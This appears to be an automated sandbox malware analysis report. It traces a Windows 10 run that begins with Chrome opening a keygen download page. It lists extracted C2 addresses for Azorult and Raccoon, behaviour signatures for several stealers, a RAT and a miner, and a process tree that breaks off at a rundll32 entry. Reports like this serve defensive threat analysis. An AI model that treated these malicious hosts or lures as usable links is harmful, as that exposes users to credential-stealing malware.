Resubmissions

22-04-2021 16:45

210422-k9xv9nxcbx 10

21-04-2021 17:01

210421-pl1rqeqs7n 10

21-04-2021 12:53

210421-gkr26l4mvs 10

20-04-2021 19:55

210420-nex8ep6zhj 10

20-04-2021 15:03

210420-v63pp18knj 10

Analysis

  • max time kernel
    68s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    22-04-2021 16:45

Errors

Reason
Machine shutdown

General

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

562d987fd49ccf22372ac71a85515b4d288facd7

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 28 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 9 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 13 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/8550ceeb125094q2480.html
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ff9e84d4f50,0x7ff9e84d4f60,0x7ff9e84d4f70
      2⤵
        PID:4680
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1564 /prefetch:2
        2⤵
          PID:5052
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1624 /prefetch:8
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5084
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2136 /prefetch:8
          2⤵
            PID:3304
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:1
            2⤵
              PID:3260
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:1
              2⤵
                PID:2332
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1552 /prefetch:1
                2⤵
                  PID:3420
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
                  2⤵
                    PID:4176
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                    2⤵
                      PID:4264
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
                      2⤵
                        PID:4380
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4900 /prefetch:8
                        2⤵
                          PID:2240
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4852 /prefetch:8
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2660
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6032 /prefetch:8
                          2⤵
                            PID:1148
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6608 /prefetch:8
                            2⤵
                              PID:2188
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6768 /prefetch:8
                              2⤵
                                PID:2184
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6624 /prefetch:8
                                2⤵
                                  PID:3928
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6604 /prefetch:8
                                  2⤵
                                    PID:3924
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6628 /prefetch:8
                                    2⤵
                                      PID:996
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:8
                                      2⤵
                                        PID:4012
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7264 /prefetch:8
                                        2⤵
                                          PID:4208
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6620 /prefetch:8
                                          2⤵
                                            PID:220
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3560 /prefetch:8
                                            2⤵
                                              PID:5080
                                            • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                              "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                              2⤵
                                                PID:1124
                                                • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                  "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff79752a890,0x7ff79752a8a0,0x7ff79752a8b0
                                                  3⤵
                                                    PID:4928
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7152 /prefetch:8
                                                  2⤵
                                                    PID:1592
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6588 /prefetch:8
                                                    2⤵
                                                      PID:2688
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5544 /prefetch:8
                                                      2⤵
                                                        PID:2124
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6056 /prefetch:8
                                                        2⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2128
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5428 /prefetch:8
                                                        2⤵
                                                          PID:4140
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6608 /prefetch:8
                                                          2⤵
                                                            PID:2732
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6932 /prefetch:8
                                                            2⤵
                                                              PID:4492
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6164 /prefetch:8
                                                              2⤵
                                                                PID:4344
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6136 /prefetch:8
                                                                2⤵
                                                                  PID:3248
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6752 /prefetch:8
                                                                  2⤵
                                                                    PID:3196
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:8
                                                                    2⤵
                                                                      PID:4708
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:8
                                                                      2⤵
                                                                        PID:996
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5208 /prefetch:8
                                                                        2⤵
                                                                          PID:4228
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5052 /prefetch:8
                                                                          2⤵
                                                                            PID:4376
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5236 /prefetch:8
                                                                            2⤵
                                                                              PID:4164
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7516 /prefetch:8
                                                                              2⤵
                                                                                PID:2428
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7512 /prefetch:8
                                                                                2⤵
                                                                                  PID:1860
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7784 /prefetch:8
                                                                                  2⤵
                                                                                    PID:2460
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7956 /prefetch:8
                                                                                    2⤵
                                                                                      PID:5092
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7948 /prefetch:8
                                                                                      2⤵
                                                                                        PID:4208
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8336 /prefetch:8
                                                                                        2⤵
                                                                                          PID:4536
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8324 /prefetch:8
                                                                                          2⤵
                                                                                            PID:4856
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8596 /prefetch:8
                                                                                            2⤵
                                                                                              PID:2620
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8620 /prefetch:8
                                                                                              2⤵
                                                                                                PID:864
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8864 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:2268
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9016 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:3880
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9028 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:4524
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9040 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:4368
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7552 /prefetch:8
                                                                                                        2⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        PID:5196
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4268 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:5328
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8588 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:5388
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8740 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:5448
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8840 /prefetch:8
                                                                                                              2⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:5580
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1548,7645130340781689170,11935902446054922024,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6484 /prefetch:8
                                                                                                              2⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:5832
                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                            1⤵
                                                                                                              PID:2720
                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                                                              1⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2708
                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                              1⤵
                                                                                                                PID:2608
                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                1⤵
                                                                                                                  PID:2400
                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                  1⤵
                                                                                                                    PID:2380
                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                    1⤵
                                                                                                                      PID:1924
                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                      1⤵
                                                                                                                        PID:1448
                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                        1⤵
                                                                                                                          PID:1340
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                          1⤵
                                                                                                                            PID:1180
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                            1⤵
                                                                                                                              PID:1128
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                              1⤵
                                                                                                                                PID:512
                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4556
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in System32 directory
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                  • Modifies registry class
                                                                                                                                  PID:200
                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                1⤵
                                                                                                                                  PID:356
                                                                                                                                • C:\Windows\System32\rundll32.exe
